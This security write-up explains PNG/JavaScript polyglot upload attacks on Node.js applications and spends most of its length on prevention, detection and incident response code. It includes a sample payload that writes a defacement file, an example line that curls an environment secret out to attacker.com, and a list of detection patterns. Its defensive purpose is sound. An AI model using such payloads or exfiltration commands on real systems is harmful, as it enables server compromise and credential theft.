Executive Summary
Polyglot image upload attacks exploit applications that process uploaded files without proper validation. A polyglot file is a file that is valid in multiple formats simultaneously - in this case, a file that is both a valid PNG image and executable JavaScript code. When applications process these files without proper security measures, the embedded code can execute, leading to remote code execution (RCE) vulnerabilities.
Severity: Critical (CVSS 9.8 - Critical)
Impact: Remote Code Execution, Server Compromise, Data Breach
Table of Contents
- Understanding Polyglot Files
- How the Attack Works
- Attack Vector Analysis
- Real-World Vulnerable Patterns
- Why This Attack is Dangerous
- Prevention Strategies
- Detection and Monitoring
- Incident Response
Understanding Polyglot Files
What is a Polyglot File?
A polyglot file is a file that is valid in multiple file formats simultaneously. In this attack scenario, we're dealing with a PNG/JavaScript polyglot - a file that:
- Is a valid PNG image - Can be opened in image viewers, passes image validation, displays correctly
- Contains executable JavaScript code - Has JavaScript code embedded after the PNG data that can execute in Node.js environments
Structure of a PNG/JavaScript Polyglot
[PNG Header: \x89PNG\r\n\x1a\n]
[PNG Chunks: IHDR, IDAT, IEND]
[IEND Chunk Marker]
[4-byte CRC]
[JavaScript Code Starts Here]
Key Points:
- PNG parsers stop reading at the IEND chunk (end of image marker)
- Any data after IEND is ignored by image processors
- Node.js
require()orvm.runInThisContext()will attempt to parse the entire file - JavaScript code after IEND executes when the file is processed as code
Example Polyglot Structure
// Valid PNG image data (binary)
PNG_HEADER +
IHDR +
IDAT +
IEND +
CRC(
// JavaScript code (text) - ignored by PNG parsers
// PNG/Node.js Polyglot
function () {
const fs = require("fs");
const outputFile = path.join(
process.cwd(),
"We_are_hacked_your_site.txt"
);
fs.writeFileSync(outputFile, "We are hacked your site", "utf8");
}
)();
module.exports = {};
How the Attack Works
Attack Flow
1. Attacker creates polyglot PNG/JS file
↓
2. Attacker uploads file as "image.png" to target application
↓
3. Application validates file:
- Checks file signature (✓ Valid PNG)
- Checks MIME type (✓ image/png)
- File passes validation
↓
4. Application processes image:
- Converts to WebP using Sharp
- Saves original file to uploads/originals/image_TIMESTAMP.png
↓
5. Background file processor/watcher detects new file
↓
6. File processor attempts to execute file:
- Tries require(filePath)
- Or tries vm.runInThisContext(fileContent)
- Or tries eval(fileContent)
↓
7. JavaScript code after IEND chunk executes
↓
8. Malicious code runs with server privileges
- Creates files
- Executes commands
- Accesses file system
- Potentially gains RCE
Why It Works
- File Validation Bypass: The file is a valid PNG, so it passes image validation
- Extension Preservation: Many apps preserve original filenames/extensions
- File Processing: Background processes may execute files without content validation
-
Node.js Behavior: Node.js can
require()files with any extension using full paths - No Content Validation: Apps don't check for embedded code in image files
Attack Vector Analysis
Vulnerable Application Patterns
1. Image Upload with Original File Saving
Vulnerable Code Pattern:
// Saves original file with preserved extension
const savedPath = path.join(uploadsDir, `${filename}_${timestamp}${ext}`);
fs.writeFileSync(savedPath, imageBuffer);
Why It's Vulnerable:
- Preserves original filename and extension
- If file is later processed, it maintains its identity
- No content validation before saving
2. Background File Watchers
Vulnerable Code Pattern:
// File watcher that processes new uploads
fs.watch(uploadsDir, (eventType, filename) => {
if (eventType === "rename") {
const filePath = path.join(uploadsDir, filename);
require(filePath); // ⚠️ VULNERABLE
}
});
Why It's Vulnerable:
- Automatically processes new files
- Tries to execute files without validation
- No content checking before execution
3. Plugin/Module Loading Systems
Vulnerable Code Pattern:
// Plugin loader that requires files
const plugins = fs.readdirSync(pluginsDir);
for (const plugin of plugins) {
require(path.join(pluginsDir, plugin)); // ⚠️ VULNERABLE
}
Why It's Vulnerable:
- Loads files as modules without validation
- Assumes files are safe JavaScript
- No content verification
4. Dynamic Code Execution
Vulnerable Code Pattern:
// Asset processor that evaluates files
const fileContent = fs.readFileSync(filePath, "utf-8");
vm.runInThisContext(fileContent); // ⚠️ VULNERABLE
Why It's Vulnerable:
- Executes file content as code
- No validation of file contents
- Assumes files are safe to execute
Real-World Vulnerable Patterns
Common Scenarios Where This Attack Works
- Content Management Systems (CMS)
- Upload images for content
- Background processors scan uploads directory
- Plugin systems load files dynamically
- E-commerce Platforms
- Product image uploads
- Image optimization services
- File watchers for processing
- Social Media Platforms
- Profile picture uploads
- Media processing pipelines
- Asset management systems
- Blog/Website Builders
- Image uploads for posts
- Theme/plugin systems
- File processing workers
-
API Services
- Image upload endpoints
- File processing microservices
- Background job processors
Real-World Attack Example
// Attacker creates polyglot
const polyglot = createPNGWithJS(`
const { exec } = require('child_process');
exec('curl http://attacker.com/steal?data=' +
encodeURIComponent(process.env.DATABASE_URL));
`);
// Uploads as "profile_picture.png"
// Application saves to: uploads/originals/profile_picture_1234567890.png
// Background processor executes:
require("uploads/originals/profile_picture_1234567890.png");
// Malicious code executes, exfiltrates data
Why This Attack is Dangerous
1. Stealth
- Looks like a normal image: Passes all image validation
-
No suspicious extensions: Uses
.pngextension - No obvious indicators: Appears legitimate to security scanners
- Hard to detect: Embedded code is invisible to image viewers
2. High Success Rate
- Common vulnerable patterns: Many apps use file watchers/processors
- No content validation: Most apps don't check for embedded code
- Automatic execution: Background processes execute without user interaction
- Multiple attack vectors: Works with various execution methods
3. Severe Impact
- Remote Code Execution: Full server compromise possible
- Data Exfiltration: Access to databases, files, secrets
- Lateral Movement: Can pivot to other systems
- Persistence: Can install backdoors, maintain access
4. Difficult to Detect
- No explicit extraction code: Attack doesn't require suspicious code
- Normal file operations: Uses standard Node.js APIs
- Blends with legitimate traffic: Looks like normal image uploads
- No obvious errors: Fails silently if execution doesn't work
Prevention Strategies
1. Content Validation
Validate File Contents, Not Just Extensions
import { fileTypeFromBuffer } from "file-type";
async function validateImageFile(buffer: Buffer): Promise<boolean> {
// Check actual file type from content
const fileType = await fileTypeFromBuffer(buffer);
if (!fileType || fileType.mime !== "image/png") {
return false;
}
// Verify PNG structure
if (
!buffer
.slice(0, 8)
.equals(Buffer.from([0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a]))
) {
return false;
}
// Check for data after IEND chunk
const iendPos = buffer.indexOf(Buffer.from("IEND"));
if (iendPos !== -1) {
const iendEnd = iendPos + 8; // IEND (4) + CRC (4)
const dataAfterIEND = buffer.slice(iendEnd);
// Reject if there's significant data after IEND
if (dataAfterIEND.length > 10) {
return false; // Suspicious - PNG should end at IEND
}
}
return true;
}
Strip Trailing Data
function sanitizePNG(buffer: Buffer): Buffer {
const iendPos = buffer.indexOf(Buffer.from("IEND"));
if (iendPos !== -1) {
// Return only up to IEND + CRC (8 bytes after IEND marker)
return buffer.slice(0, iendPos + 8);
}
return buffer;
}
// Use sanitized buffer
const sanitized = sanitizePNG(imageBuffer);
await saveOriginalFile(sanitized, filename, serverRoot);
2. File Extension Sanitization
Never Trust User-Provided Extensions
import path from "path";
import { fileTypeFromBuffer } from "file-type";
async function getSafeFilename(
originalFilename: string,
buffer: Buffer
): Promise<string> {
// Determine actual file type from content
const fileType = await fileTypeFromBuffer(buffer);
if (!fileType) {
throw new Error("Unable to determine file type");
}
// Map MIME type to safe extension
const extensionMap: Record<string, string> = {
"image/png": ".png",
"image/jpeg": ".jpg",
"image/webp": ".webp",
"image/gif": ".gif",
};
const safeExt = extensionMap[fileType.mime] || ".bin";
const baseName = path.basename(
originalFilename,
path.extname(originalFilename)
);
const timestamp = Date.now();
// Always use safe extension, ignore user-provided extension
return `${baseName}_${timestamp}${safeExt}`;
}
3. Secure File Processing
Never Execute Uploaded Files
// ❌ VULNERABLE - Never do this
require(uploadedFilePath);
vm.runInThisContext(fileContent);
eval(fileContent);
// ✅ SECURE - Use whitelist approach
const ALLOWED_PLUGINS = ["plugin1.js", "plugin2.js"];
if (ALLOWED_PLUGINS.includes(filename)) {
require(pluginPath);
} else {
throw new Error("Plugin not in whitelist");
}
Use Sandboxed Execution (If Necessary)
import vm from "vm";
// If you MUST execute user code, use strict sandboxing
function executeInSandbox(code: string): any {
const sandbox = {
console: { log: () => {} }, // Limited console
// No require, no fs, no process, no global
};
const context = vm.createContext(sandbox);
return vm.runInContext(code, context, {
timeout: 1000, // Timeout
displayErrors: false,
});
}
4. File Storage Security
Store Files Outside Web Root
// ❌ VULNERABLE
const uploadsDir = path.join(serverRoot, "public", "uploads");
// Files accessible via HTTP: /uploads/file.png
// ✅ SECURE
const uploadsDir = path.join(serverRoot, "storage", "uploads");
// Files NOT directly accessible via HTTP
Use Content-Addressed Storage
import crypto from "crypto";
function getContentHash(buffer: Buffer): string {
return crypto.createHash("sha256").update(buffer).digest("hex");
}
// Store files by content hash, not original filename
const contentHash = getContentHash(imageBuffer);
const safePath = path.join(uploadsDir, `${contentHash}.png`);
5. Input Validation
Validate at Multiple Layers
// Layer 1: Request validation
function validateUploadRequest(file: File): void {
if (!file) throw new Error("No file provided");
if (file.size > 10 * 1024 * 1024) throw new Error("File too large");
if (!file.type.startsWith("image/")) throw new Error("Not an image");
}
// Layer 2: Content validation
async function validateFileContent(buffer: Buffer): Promise<void> {
const fileType = await fileTypeFromBuffer(buffer);
if (!fileType || !fileType.mime.startsWith("image/")) {
throw new Error("Invalid image file");
}
// Additional validation...
}
// Layer 3: Sanitization
function sanitizeFile(buffer: Buffer): Buffer {
// Remove any trailing data, normalize format
return sanitizePNG(buffer);
}
6. Least Privilege
Run File Processors with Limited Permissions
// Use separate process with limited permissions
import { spawn } from "child_process";
function processFileSecurely(filePath: string): void {
// Run in isolated process with no network/filesystem access
const child = spawn("node", ["--no-warnings", "processor.js", filePath], {
stdio: "pipe",
env: {}, // No environment variables
});
// Monitor and timeout
const timeout = setTimeout(() => child.kill(), 5000);
child.on("exit", () => clearTimeout(timeout));
}
Detection and Monitoring
1. File Content Monitoring
function detectSuspiciousContent(buffer: Buffer): boolean {
const content = buffer.toString("utf-8", 0, Math.min(1000, buffer.length));
const suspiciousPatterns = [
/require\s*\(/,
/eval\s*\(/,
/Function\s*\(/,
/child_process/,
/fs\.writeFile/,
/process\.exit/,
];
return suspiciousPatterns.some((pattern) => pattern.test(content));
}
2. Execution Monitoring
// Monitor file execution attempts
function logFileExecution(filePath: string, success: boolean): void {
const logEntry = {
timestamp: new Date().toISOString(),
filePath,
success,
suspicious: detectSuspiciousContent(fs.readFileSync(filePath)),
};
// Send to security monitoring system
securityLogger.warn("File execution attempt", logEntry);
}
3. Anomaly Detection
- Monitor for files with unusual sizes (too large for images)
- Track files with data after IEND chunks
- Alert on execution of files from uploads directory
- Monitor for suspicious file operations after uploads
Incident Response
If Attack is Detected
- Immediate Actions
- Disable file upload functionality
- Isolate affected server/container
- Review recent uploads for polyglot files
- Check for execution artifacts
- Investigation
- Review file watcher/processor logs
- Check for suspicious file operations
- Identify which files were executed
- Determine scope of compromise
- Containment
- Remove malicious files
- Revoke compromised credentials
- Patch vulnerable code
- Implement additional security measures
-
Recovery
- Restore from clean backups
- Rebuild affected systems
- Implement prevention measures
- Monitor for re-infection
Code Examples
Secure Image Upload Handler
import { fileTypeFromBuffer } from "file-type";
import sharp from "sharp";
import crypto from "crypto";
import path from "path";
import fs from "fs";
export async function secureImageUpload(
fileBuffer: Buffer,
originalFilename: string
): Promise<{ success: boolean; filePath?: string; error?: string }> {
try {
// 1. Validate file type from content
const fileType = await fileTypeFromBuffer(fileBuffer);
if (!fileType || !fileType.mime.startsWith("image/")) {
return { success: false, error: "Invalid image file" };
}
// 2. Validate PNG structure
if (fileType.mime === "image/png") {
const pngHeader = Buffer.from([
0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a,
]);
if (!fileBuffer.slice(0, 8).equals(pngHeader)) {
return { success: false, error: "Invalid PNG structure" };
}
// 3. Check for data after IEND
const iendPos = fileBuffer.indexOf(Buffer.from("IEND"));
if (iendPos !== -1) {
const dataAfterIEND = fileBuffer.slice(iendPos + 8);
if (dataAfterIEND.length > 10) {
return { success: false, error: "Suspicious data after PNG end" };
}
}
// 4. Sanitize - remove any trailing data
const sanitized = sanitizePNG(fileBuffer);
fileBuffer = sanitized;
}
// 5. Reprocess image to ensure it's clean
const processed = await sharp(fileBuffer).png().toBuffer();
// 6. Generate safe filename (content hash)
const contentHash = crypto
.createHash("sha256")
.update(processed)
.digest("hex")
.substring(0, 16);
const safeExt = fileType.ext || "png";
const safeFilename = `${contentHash}.${safeExt}`;
// 7. Store in secure location (outside web root)
const storageDir = path.join(process.cwd(), "storage", "uploads");
if (!fs.existsSync(storageDir)) {
fs.mkdirSync(storageDir, { recursive: true });
}
const filePath = path.join(storageDir, safeFilename);
fs.writeFileSync(filePath, processed);
return { success: true, filePath };
} catch (error) {
return {
success: false,
error: error instanceof Error ? error.message : "Upload failed",
};
}
}
function sanitizePNG(buffer: Buffer): Buffer {
const iendPos = buffer.indexOf(Buffer.from("IEND"));
if (iendPos !== -1) {
return buffer.slice(0, iendPos + 8);
}
return buffer;
}
Secure File Processor
// ✅ SECURE - Whitelist-based plugin loader
const ALLOWED_PLUGINS = new Set([
"official-plugin-1.js",
"official-plugin-2.js",
]);
export function loadPlugin(pluginName: string): void {
if (!ALLOWED_PLUGINS.has(pluginName)) {
throw new Error(`Plugin ${pluginName} not in whitelist`);
}
const pluginPath = path.join(PLUGINS_DIR, pluginName);
// Verify file hasn't been modified (checksum)
const expectedHash = PLUGIN_HASHES[pluginName];
const actualHash = crypto
.createHash("sha256")
.update(fs.readFileSync(pluginPath))
.digest("hex");
if (actualHash !== expectedHash) {
throw new Error(`Plugin ${pluginName} checksum mismatch`);
}
// Safe to require
require(pluginPath);
}
Conclusion
Polyglot image upload attacks are a serious security threat that can lead to remote code execution. The attack works by exploiting applications that:
- Save uploaded files with original extensions
- Process files without content validation
- Execute files from uploads directories
Key Takeaways:
- Never trust file extensions - Always validate file content
- Never execute uploaded files - Use whitelists for any code execution
- Sanitize file contents - Strip trailing data, reprocess images
- Monitor file operations - Log and alert on suspicious activity
- Use defense in depth - Multiple layers of validation and security
By implementing the prevention strategies outlined in this document, you can significantly reduce the risk of polyglot file upload attacks and protect your applications from this critical vulnerability.
References
- OWASP File Upload Cheat Sheet
- CWE-434: Unrestricted Upload of File with Dangerous Type
- Node.js Security Best Practices
- Sharp Image Processing Library
Document Version: 1.0
Last Updated: 2025-12-17
Author: Porhong
Classification: Internal Security Documentation
Top comments (0)